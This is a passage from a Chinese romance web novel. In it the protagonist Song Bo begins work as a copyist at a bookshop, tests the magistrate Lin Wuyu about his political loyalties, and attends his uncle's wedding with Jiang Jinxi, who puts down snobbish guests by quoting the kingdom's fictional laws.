宋泊按着江金熙的话从床头柜第二格拿出跌打损伤膏,还好当时江金熙买得多,不然就以他消耗的速度,现在有没有药膏剩下都难说。 “我稍稍帮你揉一揉,明日痛感会减轻很多。”宋泊说。 “嗯。”江金熙脑袋埋在枕头里,闷声答道。 活血化瘀,主打就是一个“化”字,宋泊从腿开始,他撩开江金熙的裤腿,将裤子折到膝盖处,他只能帮着揉一些外头的部位,像大腿、腹部、手臂里这些位置,就不合适揉了。 宋泊两指抹上药膏,刚碰着江金熙的小腿肚子,稍一使劲,江金熙就喊叫出声,“轻、轻些!” “我尽量,但太轻就没有效果了。”宋泊放轻力道,“你得忍着些。” “嗯。”江金熙背朝着宋泊,脑袋闷着点头。 江金熙说忍就是真忍,只有到实在受不了的时候,才会叫上两声。 宋泊帮着按了小腿和大腿就准备歇了,毕竟其它位置以他现在的身份也不适合动手。 宋泊刚把药膏放在床头柜上打算离开留给江金熙自己上药的时间,就听见江金熙嗷了一声,“哎哟。” “怎么了?”宋泊转头。 “腰疼得厉害,那儿我自己也揉不着,你帮我揉揉吧。”江金熙说。 说这话的时候,江金熙丝毫不敢瞧宋泊,只敢躲在被子里,漏出一对微微泛红的耳朵。 “那地儿不好按。”宋泊说。 “可是真的太疼了。”江金熙微微转头,一只漂亮的眼睛泪眼汪汪。 宋泊深吸了口气,应声,“好吧。” 宋泊又回到床边,轻轻撩开江金熙的衣服,因着常年晒不着太阳,江金熙的后腰极其白皙,宋泊抹了点儿药膏上去,不知道是药膏滑还是江金熙本来的皮肤滑,总之宋泊的思绪不知不觉飘远了去,有些心猿意马。 后腰处是敏感地带,宋泊的力道加上肌肉的酸痛本就很痛,再加上时不时的酥麻感,让江金熙不自觉地抓紧了枕头。 宋泊自知自己不是柳下惠,再按下去难免起些不该有的心思,所以他动作极快,比起按小腿和小臂时,是敷衍了许多。 “行了,这样应当就可以了。”揉了个十几下,宋泊把江金熙的衣服放下后,还顺带着把被子也给盖了上去,而后就落荒而逃。 江金熙看着宋泊远去的背影,脸蛋通红得像个红苹果一样,可能他刚刚是被鬼上了身,不然怎么会提出那般要求呢,真是羞死人了。 不知道宋泊会不会以为他其实是个浪荡的哥儿。 胡乱想着,江金熙挪了下/身子,又被痛得倒吸了口凉气,这下什么思想都没了,江金熙乖乖在其它隐秘的部位涂上药膏。 好在家中地不算大,宋泊和江金熙花了一周的时间,把所有的草药种子都种进地里。 十一月一日,天上浓云密布,今儿个看起来像是会落雨。 宋泊起了个大早,今天得去百书阁报道,可不能迟到给秦闻留下个不好的印象。 风呼呼吹着,吹得窗户板砰砰往窗框上敲着,发出巨大响声。 宋泊下了床,将窗户拴上,外头的天暗得就像酉时末一样,看着吓人。他把江金熙的被褥掖紧,接着出了卧房门,将门紧紧关好。 趁着现在还未落雨,宋泊急忙洗了把脸就往镇里赶,他前脚刚踏进百书阁的屋檐下,后脚雨就落了下来,豆大的雨滴打在木板上,啪嗒啪嗒清脆的响。 宋泊暗道自己真是好运,再晚几分,就算有了伞,也难逃落汤鸡的下场。 他来得太早,百书阁还未开门,他就只能躲在屋檐之下,等着人来。 等了快一炷香的时间,才有人撑着油纸伞来开门。 开门躲进屋里,那人才抱怨着,“这雨什么时候不下,偏是人出了门才下,真是与我作对!” 天公似是听着这人的话,雨点儿更大,暴雨来了。 宋泊跟着进了店,笑道:“看来天公还是给你面子的,等你进了屋,才下大了来。” 听着宋泊说话,那人才转向宋泊这侧,“你就是秦老板说的宋泊吧?” “你知道我?”宋泊问。 “秦老板昨日说了你今日会来。”那人把伞折了起来,搁在店外头的石头上,“咱们书店最怕的就是受潮,你的伞也往外头放去。” “欸。”宋泊应了声,虽然他的伞并未沾雨,但他还是听话地往外放了去。 “我叫韩木秋,在这儿工作了几年,仗着年纪比你大几分,若不嫌弃你喊我韩兄就是。”韩木秋说。 韩木秋算是跟秦闻最久的初代员工,面儿上是个抄书先生,实则是这家店的砥柱之一,秦闻在这儿开了多久的书店,他便在这儿待了多久。 “今日下这么大的雨,秦老板大抵是不会来了,就由我教你熟悉熟悉流程。”韩木秋走在前头,领着宋泊上了楼。 40-50 第41章 第四十一章个人传记。 百书阁一共三层,三层与一、二层的布置很不相同,这儿一个书架也没有,偌大的空间被木板隔着,成了一个个小区域。 小区域中间有一张极大的木桌,木桌旁放了十几把木凳,看着跟宋泊在码头吃午饭时的桌椅差不多。 “这地儿就是咱们工作的地儿。”韩木秋绕开中间的大桌子,走到其中一个位置前,拍了拍木桌,这些小区域的木桌子都朝着外头,只要走过去就能看着字的样子,韩木秋道:“有些对字有要求的客人会上来瞧,看着谁的字合他心意,他就会请谁抄。” 这也是合情合理,如果他是客人,他肯定也会想着自己的抄本一定要由着好的人来抄,宋泊这般想着,与韩木秋并排站着。 “抄书都是有抽成的,你能分着订单的一成。”韩木秋说。 分着一成,这可不是小数目,恒国书籍不便宜,一本书抄下来,薄的一、二两,厚的甚至要十几两,能指定抄书先生的客人家中定然不缺钱,大手一挥,花上个几十两也不是没有可能,如此算来这一成便能分着许多,确实是比在码头搬货赚多了。 “这儿的工钱是一月一结,咱们当抄书先生,一月基础工钱是二两,包一顿午餐,不包住所,多的分成另算。”韩木秋道。 这月薪在传福镇已经算是中上等了,更何况还包了顿午餐,又省去一次不小的开支,难怪那么多穷人家的读书人挤破脑袋都想到百书阁揽个活儿做。 宋泊也是被这月薪吓着,一月收入二两,是搬货工薪资的两倍多,他本来的心理预期就是一两半差不多,这下倒是有了意外惊喜。 “做六休一,有特殊情况得提早与秦老板说。”韩木秋继续说着,他一边带着宋泊参观百书阁,一边把相关的规矩全都说了出来。 “偶有闲着的时候,可以拿店里的书看,秦老板支持咱们考科举,若是考上了还有别的奖励。” 如此听下来,当是他撞了大运,才能来百书阁当抄书先生。 说话间有其他的抄书先生来了,他们也将雨伞搁在门外,进到店里后与韩木秋行了一礼,直接上了楼。 “噢对了,咱们抄书不仅限于书籍,也有可能会有代写信之类的活儿,跟客人秘密有关的内容,你可得烂心底,不得与他人言说。”韩木秋再说。 这事事关职业道德,如果有客人的秘密从他们这儿泄露出去,百书阁的名声就会臭了去。 “行了,你自己再看看,有什么不懂的来问我就是。”韩木秋还有自己的活儿未做,不能陪着宋泊逛太久。 宋泊朝韩木秋作了一揖,“多谢韩兄指引。” “多礼了。”韩木秋也回了一揖,先一步上了楼。 负责揽客、卖书的店员和算账的会计也都来了,店内一下多了不少人气。 宋泊记着要给李会书一本注释,便逛了逛店内,大多书籍的价格都在二两左右。 这书实在贵,寻常百姓家要供出个读书人实属不易。 外头雨依旧很大,受天气影响客流量少了许多,宋泊逛了会儿就上了楼,工作第一天总不能只逛不干活。 韩木秋给了他一本未有指定的书籍,让他按着抄。 宋泊坐入位中,面前的木桌很大,大抵是考虑着又要抄字又要晾稿,才会设计一个大长木桌。他往别人的位置瞧去,大伙儿都把喝水的杯子搁在地上,应是害怕不小心打翻杯子,湿了稿导致竹篮打水一场空。 把椅子挪到一个合适的距离,宋泊翻开书来,发现这是一本个人传记,作者本身的字就写得很好看,不知何缘故会把这本传记送到百书阁来,要个抄本。 客人目的是什么与宋泊也没有太大的干系,他只要负责把书抄好就是。 抄书这事儿马虎不得,得提起百分之二百的精神力专注于抄书上,如有一个错字,整张纸便废了去。 宋泊提起毛笔,沾了墨,先在旁个纸上写了写,适应新毛笔手感的同时还要关注了墨水的渗透能力,抄书与写书法不同,一个字的墨多了,整篇抄本就会显得丑。 掌握笔墨情况以后,宋泊把右手衣袖往手臂上捋了捋,露出一截干劲的手臂,将第一张纸用压纸板压好,他写下第一个字。 抄书讲究一个效率,宋泊便稍微收了点技巧,写起来的字虽说没有书法作品那般飘逸,却也透着劲,看着清爽干练。 一连不间断地抄了半个时辰,宋泊也算是借着抄书的活儿把这本传记看了个仔细。 传记里清清楚楚记录了作者的经历,他是北方人,苦读诗书数十载却一直科举未果,直到认识了他现在的老师,被老师指点一二以后,他才考中举人,接着跟乘上东风一般,虽说没有成为状元,却也通过殿试,得了个官儿做。这不当官不知,一当官才知这官场中的弯弯绕绕,作者就是因着不懂人情世故,一心清廉洁政,明里暗里得罪了不少人,一次工作失误,被歹人逮着机会,参了他一本,好在他老师出言相护,他才只是落了个被贬的下场。 宋泊看进心里,对这位作者是满心的佩服。 官场里的黑暗腐朽在每个时代都有,能不被污染仍旧保持自己行事准则的好官可是不常见,这位作者字里行间都在展示自己的抱负,当真是位好官。 除了官场上的事儿,这作者还记录了其他的事儿,有北方的风光习俗,也有他一路南下赶赴官位中发生的事儿,而占有他传记中最大篇幅的,还得是作者的老师,这位老师喜字爱才,还有个漂亮的哥儿,可谓是京城中最常被羡慕的对象。 “怎么样,第一天抄书还适应吗?” 突如其来的声儿将宋泊从个人传记中拉了出来,他将毛笔搁在笔架上,抬头,面前站着的人是秦闻。 宋泊听着外头的雨声,说:“秦老板,你怎的来了?” 秦闻随手拿起宋泊已经抄好的单页,边欣赏边说着,“来瞧瞧你抄得如何。” 没想到自己这么受秦闻重视,宋泊也有些紧张起来。 秦闻夸道:“抄得很好。” 抄本上的字比不得那日比试时候的作品,可就算如此,秦闻也已看着宋泊被预定满了的未来,只是五分功力的字,就足以引得那些富贵人家为此买单。 “多谢秦老板。”宋泊答。 秦闻看着纸面上头的内容,只觉得有几分熟悉,他放下纸页,看了眼原版,就明白这传记出自谁手,“没想到老林还会写这种东西。” “秦老板你认识这作者?”宋泊问。 看过传记,他对这位作者起了兴趣,很想见见有这般玲珑心的人会是哪位人物。 “你可知霞县新来了个县令?”秦闻说。 可知?这可太知了,半月以前他们还一块儿吃过饭呢。 “林武玉就是这书的作者。”秦闻说。 听秦闻熟络的口气,两人的关系当是不差,如果林武玉真的如传记中所写那般,那真真是个为民为国的好官。 宋泊又想起之前林武玉说过的话,京城是官权重地,里头阵营混乱复杂,宋泊不用亲身经历,就能猜到在京城官场中混有多困难,江金熙的父亲就是京城中的大官,只是不知林武玉到底是那方阵营的人。 或许他可以在找些机会,与林武玉接触接触,没准能提早些将江金熙送回京城……吗? 江金熙早晚会回京城的,宋泊深知这个事实无法改变,只是想起来总会不舍,明明事儿还没发生,他却已经开始思念江金熙了。 阻止不了时间的流逝,他只能期待着流逝得慢些,再慢些。 午时正好,百书阁放了饭,吃饭的地儿在三楼,今日为了欢迎宋泊到来,秦闻订的餐比以往丰富不少。 因着下午还要继续工作,秦闻便以茶代酒,“欢迎宋泊加入百书阁。” 大家纷纷举杯,一块儿饮了茶。 秦闻的话也不多,只说了几句就让大家动筷子。 外头雨声不断,里头大伙儿有说有笑,热闹非凡。 跟书沾点关系的人,多少会受到些潜移默化的影响,说起话来带着些文绉绉的气儿,好在宋泊满腹墨水,对他人提出来的问题都能对答如流。 这倒是让其他人对宋泊起了好的印象,虽说村镇歧视不可取,可生在镇里又读了书的人总归是有几分瞧不上农村人的,宋泊的话和字,扭转了他们的印象。 与宋泊聊天舒适、自在,不知不觉与他聊天的人越来越多,挤掉了宋泊吃饭的时间。 秦闻坐在主位,喝着茶瞅着大伙儿对宋泊的热情态度,越发觉着宋泊不是池中物。 字已不凡,谈吐更甚。 见半炷香过去宋泊一筷子也未动,秦闻咳嗽了声,“好了,这么热情再把宋泊吓着,都回自己位子吃饭去。” 宋泊松了口气,向秦闻投去一个感谢的眼神。 秦闻点了下头,算是回应。 第42章 第四十二章小悟。 抄了一日,到了下工之时,外头的雨还是依旧跟用盆泼的似的,雨点儿极大,啪嗒啪嗒的雨声很响。 一些抄书先生因为家近,已经拿着伞走了。 韩木秋想着宋泊是近里村人,回家路途遥远,便说:“这么大的雨,你大可在店里歇一晚”,这下雨天驴车、牛车都不会出来接客,在这种雨里步行回去,与直接淋雨没有任何区别。 “谢过韩兄好意,但家中有人等我。”宋泊拿起搁在店外的伞,右手开伞,左脚跨出店门,一气呵成地步入雨中。 见他步伐坚定,韩木秋也未阻拦,拿着自个儿的伞走了。 秋季的天暗得快,再加上雨一直下着,宋泊看不太清路况只能缓慢前进,回家的时间比以往多了一半。 江金熙正窝在家里看书,今日雨实在太大,他便没在宋茶栽家久留,早早吃了晚饭就回了家。 家中蜡烛点着,他的影子被家具*挡住,从外头看不见他的身影。 忽然,窗子上出现一个小黑影,小黑影越来越大,正在朝着卧房而来。 江金熙收起医书,顺手拿起放在书架旁边的木棍,弯着腰摸着墙躲到门后。 宋泊与他说过回家的时间,而现在早已过了那个时间,再加上雨又这么大,宋泊应当会在镇里休息一晚的。 那个影子将伞折了起来,放在门外以后,自然地开了门。 江金熙一棍子挥下去,在看着熟悉的后脑勺时,及时地收了手。 宋泊觉着一股凉风朝他的后脑袭来,转头一看便看到离他后脑勺只有一个指甲盖距离的木棍。 “你怎么这个时候回来了?”江金熙把木棍放下,宋泊雨中走了一趟,虽然撑着伞也淋了一身。 江金熙反身迅步走到衣柜前,拿了条面巾出来盖在宋泊的脑袋上。 宋泊比江金熙高了一个头,想要帮宋泊擦发还得踮着脚尖,属实是有些辛苦。 江金熙拉着宋泊在圆桌边坐下,坐下后的宋泊高度到他胸口处,这个高度正合适。 江金熙一边给宋泊擦着头发,一边说:“这么大的雨你还回来作甚,多危险呐!” 从传福镇回到近里村的路不算好走,路上还没有安装路灯,黑压压的一片加着雨,可谓是将危险度拉满了来。 “我想着回来的。”宋泊两手放在膝盖上,乖乖听训。 “家中有何要事需要你在这个时候回来处理?”江金熙问。 “家中有你。”宋泊答,这话说来实在暧昧,他顿了一下,又补上一句,“这种天气很容易打雷,我怕你怕。” 江金熙的耳廓自宋泊说出前四个字就已经红了起来,再往后宋泊说了什么,他其实听不太清。 家中有他便不畏艰难险阻也要回来,江金熙抿了两下唇,强行压住上扬的嘴角,手中力道大了几分,说:“明儿个淋雨发热,有你难受的。” “不会的,我马上就去洗澡,换了这身衣裳。”宋泊说。 说做就做,宋泊到厨房烧了热水,洗了个舒舒服服的热水澡以后,换好新衣裳往床上躺了去。 这般天气还是得在被子里包着才叫舒服。 趁着宋泊出去洗澡,江金熙整理好自己的情绪,这下又坐在书架前,状似冷静地看着书。 这书页就这么翻着,半炷香过去一页未翻,任何字从眼中记到脑子里,就变成了“家中有你”四个大字。 “对了,刚刚你拿着木棍,是要打我吗?” 宋泊的声音将江金熙拉出思绪之中。 “我以为有歹人来,便打算先下手为强。”江金熙为自己辩解,“不过我认出你还是极快的,木棍没落在你头上。” “还得是你眼神敏锐。”宋泊道:“有这般警惕心是好事,我在家中备着这些武器也是为的这个目的。” 为了尽可能地保护江金熙,宋泊在家中各处都放了木棍,这样无论江金熙在哪个地儿,有歹人来袭的话他都可以顺手抽着武器。 “也算是演习了一番。”江金熙道。 “这木棍可还顺手?”宋泊问。 木棍作为武器,还是得趁手才有用。 “趁手的。”江金熙答。 夜色如墨,雨丝笼上了层纱,江金熙看书,宋泊躺床上放空自我,一时间静谧非常却不显尴尬,反倒有一丝轻微的温馨萦绕在卧房之中,两人谁也未打扰谁,只是静静陪伴彼此。 翌日,宋泊清醒的时候,窗外有一丝阳光从窗帘缝中透了进来,这南边儿就是一日一个天气,昨日的大雨倾盆并不影响今日的阳光明媚。 宋泊醒了醒脑子,得亏昨日江金熙先帮他把头发擦干了来,不然他今儿不会头脑清晰,反而有可能真如江金熙所说那般,受了风寒发热。 宋泊轻声轻脚地从床上下来,将昨日放于门边的木棍归位后,悄声出了卧房。 夜过日来,日子逐渐稳定,宋泊每日上工下工,休息时便帮江金熙照看田中,而江金熙则是经常待在宋茶栽家,边看边学,学了些常见病的诊断和治疗法子。 不知是不是京城中出了什么事,等宋泊反应过来的时候,那抹盯着他们的恶毒眼神已经很久没有出现过了,他们许是被召回了京中,无暇再顾及他们这儿。 若原著中也是如此,敌方眼线走了以后,江金熙寻机会留线索的机会就大了不少,怎么还会拖到一年,主角攻才找来呢? 宋泊思索着这个问题,猛然间有了个想法,原著中困住江金熙的或许不是敌对眼线,而是他这个炮灰攻,现在炮灰攻由他取代,便不会再限制江金熙的各种活动,这是否说明,剧情会发生变动,也许主角攻不会再等到一年才找来? “你想什么呢?那么入神。”江金熙歪着脑袋盯着宋泊瞧, 此时的他们正坐在马车上,赶往霞县,参加宋申闻的喜宴。 宋泊双眼出神有一会儿了,连路上小石子引起的颠簸都没让他回神。 “没想什么,我就是发会儿呆。”宋泊说。 “咱们到哪儿了?”宋泊问。 “过了传福镇,快到霞县了。”江金熙答。 因着之前来过一次霞县,江金熙便有心记着路边的标志建筑物,所以才能轻松答出他们的位置所在。 今儿个是十一月二十五,宋申闻成亲的日子。 因着地的事儿,宋芸香与他们不对付,今日肯定想着法儿给他们不痛快。 他们虽从村里来,但该有的面子也得维持着,宋泊便雇了辆马车,一整日专门为他们服务。 “等会到了地儿,四姑说的什么话你都只当耳边风就行。”宋泊说。 “嗯,我懂。”江金熙答,什么人的话该听,什么人的话都不应入耳,他自有分辨。 “不知宋申闻娶的什么人,能让宋芸香那般高兴。”宋泊说。他与宋芸香和宋申闻都不亲,宋茶栽往日也未提起过,他便一直不知究竟哪家姑娘猪油蒙了心,能嫁给宋申闻。 “好像是个官家。”江金熙答,他与宋茶栽在一起的时间比宋泊久,有时顺耳就听着一星半点。 那家老爷的官位不大,是个县尉,在林武玉手下当值,官位虽小,可到底是个官,与寻常百姓不同,搭上便是有了个走入官道的助力。 宋申闻因着守孝三年没有参加科举,明年下场自然得找个助力,这姑娘便是瞌睡了送上来的“枕头”。 宋爷爷与那县尉年轻时是好友,生下最后一个儿子时,县尉的三女儿也刚出生,两人一合计便订了娃娃亲,这么多年县尉考中当了官,也没把这事儿抛下,算是个有情有义之人。 马车越行越近,大老远就听着鞭炮声不断,宋泊撩开车窗帘子,前头那个二进院子挂着个宋府的牌子。 门口两个石狮子身上都绑了红绸,两颗硕大的红绸花一左一右挂在两边的石狮子上,显得格外喜庆。 这院子和这石狮子一看就价值不菲,当凭宋申闻一个农村出身定是配不上的,这些个家产定是那县尉不想委屈着自家姑娘,在喜事之前给宋申闻置办的。 外人并不知宋申闻的身份,自不知这院子是谁的,反正面子给足,姑娘嫁进宋家,给宋申闻的东西就是给他家姑娘的东西。 宋芸香站于门口喜笑颜开,宋茶栽作为家中长姐,家中长辈没了就只能由她来撑场子,所以宋茶栽才没与宋泊他们一块儿出发,而是提前一天就到了霞县之中。 在离宋府还有一小段距离的时候,宋泊便叫马车停了马,前头鞭炮从未停过,等会儿再把马儿吓着。 他先一步提着礼儿从马车上下来,江金熙后他一步,被宋泊扶着下了马车。 宋芸香那叫一个眼睛尖,看着他们来了,立即迎了过来,“侄儿你可来了,四姑还怕你找不着路,打算请人接你去哩。” “不必劳烦四姑,今儿霞县做喜事的只有五叔这一家,路边问问还是好找的。”宋泊答。 宋芸香指着院里头一个正在登记的家仆,说:“来了就成,进院儿坐吧,礼往那儿送去就行。” 那家仆边儿已经堆了不少礼,大盒小盒都有,每个盒子的包装都很华贵。 “欸,那便不打扰四姑了。”宋泊左手拿着礼儿,右手拉着江金熙的手腕,两人一块进了宋府之中。 第43章 第四十三章试探。 宋府内已经来了不少宾客,现在还未开席,大伙儿便几几聚在一起,谈天说地。 新郎官要准备吉时的仪式,没在院子里出现,有两个穿着红色喜庆服装的中年夫妻圜转于众人之间,应当是女方的父母。 宋泊走到收礼处,将手中的礼交给登记之人。 毕竟是与官家结亲,要防止有人在贺礼上做手脚,所以登记者会将每个贺礼都打开来,检查清楚才会将送礼之人的名字写在贺礼单上。 趁着登记者检查的时间,宋泊瞅了眼他身后放着的贺礼箱,粗略估计着,后头放着的贺礼没有上百也有七八十,而且个个盒子都精致得像工艺品。 如此比来,他的贺礼就显得不够看了。 宋泊准备了一副笔墨纸砚,因着在百书阁上工的薪资还未发下,他就只能用之前的积蓄买贺礼。宋泊与宋申闻的关系并不亲近,再加上他看江金熙的眼神令他不悦,宋泊便没打算倾尽所有积蓄给宋申闻买,只花了二两银子,买了套普通得不能再普通的笔墨纸砚。 虽说笔墨纸砚的质量不是上等,但一个村里人家能拿出这般贺礼已经是下了血本了。 许是他人送的贺礼都价值不菲,登记者在看过宋泊的贺礼以后,对宋泊的态度悄悄的差了,“姓名。” “宋泊。” “进去吧。”登记者语气平平,抬起头时直接越过宋泊看着他身后的送礼之人。 宋泊倒是觉着无所谓,反正他只是因着亲戚这层关系才来的,吃上一顿席就准备回家。 这喜宴其实也是霞县内有名之士维护人际关系的时候,宋泊与江金熙来自近里村,自然没有什么认识的人需要打招呼,也没有什么认识他们的人要与他们打招呼,宋泊也乐得清闲,与江金熙一块儿找了个少人的地儿坐下。 这院子内的置景确实符合官家气质,院中有个小型人工湖,湖上装了亭儿。 江金熙扶着亭内的木椅边,微微倾身往湖里看去,湖底有锦鲤游过,个个肥润,“宋泊你瞧,那条鱼儿胖得都游不动了。” “哪儿呢?”宋泊跟着问道。 江金熙纤纤手指指了出去。 宋泊顺着他指的方向看去,确实有一条锦鲤特别胖,鱼尾摇着十分费劲。 “乡里来的人,可是没见过锦鲤吧?” 忽然,一个男声挤了进来,宋泊和江金熙转头看去,一群身着华丽的哥儿和女子站与他们面前,说话之人便是当中为首的哥儿,他手中拿了柄装饰用的扇子,脑袋微微上扬着,有种用鼻子看人的高傲感。 “刚刚我见过他俩拿来的贺礼,可穷酸哩。”边儿的一个女子捂着嘴,眼中满是嫌弃。 县尉愿意履行三姑娘的娃娃亲是他人善,但他们这些在县里过惯的人,看着村里人就觉着粗鄙,村里人没读过书,身上总是带着股粗俗味儿。 不过这到不是他们来找茬的唯一原因,还有个原因就是那个坐在亭内的哥儿实在漂亮,自他进到这院子里以后,院中的男子总是时不时往他那儿瞧,让他们这些娇生惯养的贵族哥儿和女子觉着丢了众星捧月的感觉,心中不自在,这才找个机会找茬来。 宋泊觉着这些人莫名其妙,他回道:“没看过锦鲤怎么了?犯了恒国哪条法律?” 江金熙接着宋泊的话,“恒国没有这般无理的法律。” 没想到面前两人非但没有羞愧,反而还利落地回话回来,扇子哥儿觉着面子有些挂不住,他道:“你知恒国律法?不如相信明儿个的太阳从西边出来。” 周围人跟着嘻嘻笑着,众多声音混在一块儿,就像十几只鸟儿同时在他耳边叫,宋泊只觉着脑袋都要都要被吵炸了。 “恒国律法第四篇第二条,恶意生事者,口杖十。”江金熙看着那位扇子哥儿,说:“我想你应该吃不下口杖的苦吧?” 明明他是站着的,可扇子哥儿就是觉着自己的气势低落了不少,他两手抵在腰间,哼了声道:“你说是就是,那我还说你诋毁官家子女,要口杖五十呢!” “第五篇第十五条,编造律法者,杖刑五十。”江金熙回道:“这刑更苦。” 见江金熙脸色入常,说话的语气又十分坚定,扇子哥儿心底发憷,“你” 话还没说话,旁儿个就响起了鼓掌的声儿。 “年纪轻轻就能将恒国律法背得如此精准,当真是青年出豪杰。”林武玉笑着说。 “林县令。”宋泊与江金熙从坐上起来,与林武玉行了一礼。 那些哥儿、女子少了嚣张跋扈的气焰,也朝林武玉行了礼。 有林武玉的话在,扇子哥儿才知道江金熙并不是在唬他,而是律法中真有那些法条在,迟来的后怕让他不敢再找麻烦,生怕江金熙真的将他扭送官府,行过礼后他便带着人转头下了亭子,远离这个是非之地。 “今儿个参加喜宴就放松些,没那么多规矩。”林县令摆了摆手,与宋泊和江金熙重新坐回亭子上,“你们也来参加席宴呢?” “新郎官是我小叔,这便来了。”宋泊答。 因着抄过林武玉的个人传记,宋泊对此人有了清官的印象,原著中江金熙的父亲也是位为民着想的好官,所以宋泊觉着林武玉是江金熙父亲这边人的概率会大一些。 不过这只是猜测,具体还得试探。 “如此。”林武玉答。 二次见江金熙,他还是觉着有些熟悉,上次只知他是南方人,却不知他出身何处,能熟读律法之人,应当不会是寻常农村人家的。 “江夫郞看着不过十几,却已熟读律法,想必家中定是富裕吧?”林武玉问。 “有些银两。”江金熙答。 还不知林县令是敌是友,江金熙也不敢说得太直白。 “听闻林县令自京城而来,可否与我们说说京中事物呐?”宋泊插话进来,他语气轻微上扬,表现得就像个没见过世面的村里人一般。 林县令回答宋泊的问题,说出些京城内比较有名的建筑、茶点,与他传记上写的相差无二,那本个人传记真的是林武玉所写。 “咱们这儿地处偏远,偶有盗窃、抢夺之事,京城在天子脚下,应当不会如我们这儿一样?”宋泊再问。 “确是少些。”林武玉答。 “当今丞相爱才,提拔了不少人才,怎的还会有那般小偷小摸的事儿出现呢?”宋泊两眼无辜地问着。 丞相这事儿完全是他从林武玉的传记里总结出来的,传记中的丞相是个好官,应是清流一派,江金熙的父亲也是个好官,与丞相同为一派,现在就是得看看林武玉对丞相是什么看法,由此猜测他的站队。 听到宋泊提起丞相,江金熙心底猛地咯噔一下,无缘无故提起丞相,莫不是他对他的身份已经有了隐约的猜测了? “你怎会这般问?”林武玉反问。 “大伙儿都说丞相是个好官,我没见过丞相,好奇他究竟是个怎样的人。”宋泊对答如流。 丞相在位指导着皇帝做了不少好事,民间百姓对他夸赞有佳,宋泊会提出这样的问题,就是普通市井民众的正常想法,想来那方势力不至于将手伸这么长,林武玉便松了警惕,“丞相是个好官,我敬重他” 说起丞相,林武玉的语气都放缓了不少。 这儿离京城远,官场环境没那么复杂,但林武玉还是不敢说太多与丞相有关的事儿,只是夸了几句就闭了嘴,担心隔墙有耳。 路途遥远,什么话传回去都有可能变了味儿,林武玉还想立功回京,自知谨言慎行。 “林县令这般爱戴丞相,定然也是个好官!”宋泊说。 该拍的马屁还是得拍一下,谁会不乐意听好话呢? “我哪儿比得上江丞相。”林武玉说。 江丞相? 这丞相的姓儿怎么与江金熙一样,说起来他还是在林武玉的传记中第一次知道江丞相,那时他没注意名儿,现在听来这个“江”字确是突兀,不过江丞相都坐上了丞相之位,家中族人众多,分支也多,借着江丞相的庇护,江家长辈大多都能讨点儿官做,江金熙当是与江氏一族有关。 外头忽的热闹起来,有傧相喊着新郎官来了,大伙儿吵着闹着往院外跑去,宋泊的思绪就此断开。 他们一齐从亭上起来,漫步出了院门。 县尉当真是下了血本,一路上鞭炮声不断,宋申闻的身形自远方出现,他骑在一匹骏马之上,身着喜服,胸前挂着一颗大红缎子做成的红团花。 这人靠衣装马靠鞍,一身喜服着在他身,倒也呈得他气质翩翩。 宋申闻身后跟着接亲队,接亲队再往后便是新娘的轿子,轿子上大半也是红色,显得尤为喜庆。 人群挤着推着,大家都想更近些看热闹,宋泊抬手揽住江金熙的肩膀,让他躲在自己怀中,他靠着高大的身躯还能在人群里占有一席之位,江金熙这小身板子就难了。 宋泊护着江金熙,可不能让人潮把他带走了。 第44章 第四十四章喜宴。 迎亲队慢慢靠近,人潮逐渐分为两侧,给迎亲队让道。 到了府门口,队伍停下。 傧相走到新娘轿子前,轿子微微下倾,一只玉手搭上傧相的手腕,新娘子出了轿。 新娘子头上盖了盖头,整身衣服华丽漂亮,就算没看着新娘子的面儿,也能知道新娘子今天肯定美得惊人。 这是江金熙第一次看着新娘子,或许成亲就是每个哥儿和女子最漂亮的时候,江金熙想着自己何时也能穿上这么套靓丽美艳的喜服嫁与宋泊,毕竟他们俩的开始是个错误,现在也只是假夫夫的关系。 傧相将有同心结的彩绸递入新娘子手中,而另一头则给了宋申闻。 宋申闻牵着新娘子,他迁就着新娘子的速度,放缓了步子。新娘子跨过放在院门前的火盆,走在宋申闻的斜后方。 宾客们跟着新人一块儿往里头挪,宋泊便揽着江金熙一块儿进了院子。 宋茶栽已然坐在主厅的上位,因着家中没了老一辈,就由她长姐代母。 宋申闻与新娘子进了正厅,顺着傧相的话儿,先拜了天地,随后拜了高堂,最后夫妻对拜。 除了这些个礼得在宾客面前完成以外,其余的诸如掀盖头、喝合卺酒,都得私密着在喜房内完成。 礼毕以后,新娘子被送进了洞房,只留宋申闻在外头接待宾客。 “今儿个是宋某的大喜日子,大家尽敞开了吃,别客气!”宋申闻长手一挥,众宾客在婢女的安排下,纷纷入了座儿。 宋泊是宋申闻的侄儿,自然坐在主桌,而江金熙虽然是宋泊的夫郎,但因着他是个哥儿,就只能往后头的位置坐,主桌就坐了林武玉、县尉夫妇、宋家五人及新娘子的两位大哥。 “恭喜余县尉,得了得意快婿。”林武玉作为主桌上最大的官儿,率先起了头,举酒祝贺余县尉。 “承蒙大人关照。”余县尉举杯低林武玉一些,两人碰杯后一饮而尽。 “听闻宋申闻已在准备科举?”林武玉问。 “是,我已看过他的文章,不能说极好,却也有几分文识。”余县尉答着。 为官人说话总是不敢说得太直白,深怕那一句话被人抓着引申了去。 明年二月开县试,到时由林武玉主持,他作为林武玉的下属,定然也要做些辅助考试的活儿,现在把话说得太死,等宋申闻考过县试、府试上成了童生,没准会有眼红的人说他从中做了手脚。 “那我便期待他为国效力了。”林武玉说。 宋申闻很有眼力见地站了起来,敬了林武玉一杯酒,“谢县令赏识。” 宋泊喝着酒,面上不显,其实悄悄关注着宋申闻。 宋申闻确实准备科举许久,这下有了余县尉这层关系在,成为童生只是迟早的事,这人除了在哥儿、女子的事上行事不妥以外,在文学造诣这面儿,确实有点儿墨水。 不过那与他也没什么关系,宋泊夹着菜往嘴里送去,贺礼都送了,总得吃些回本。 “是呐,我这小弟的辛苦我都看在眼里的。”宋芸香忽而插了句嘴进来,“我们宋家终于要出个读书人了。” “此话怎讲?”余县尉问。 “我们这辈只有三个男丁,二哥、三哥都没有读书的天赋,只能寄希望于小弟身上。”宋芸香看了宋申闻一眼,继续夸着,“好在他也努力,每日都苦读到夜深人静的时候,我这个做姐姐的,当真是心疼他。” 宋茶栽低着头,白眼儿都快翻到天上去了,明明宋芸香也不与宋申闻住在一处,她却说得确有其事一般。 宋申闻确实是努力,但有没有努力到夜里,那便不得而知了。 “姐。”宋申闻拉了拉宋芸香的衣袖,宋芸香这才捂住了嘴,表现得像自己说多了一般,“是我话多了。” 主座聊得热闹,偏桌也不差。 江金熙被分到哥儿、女子桌,一桌全是不认识的人。 那些哥儿、姑娘的,身上不知道喷了些什么东西,几种味道混杂在一起,属实是有些刺鼻。 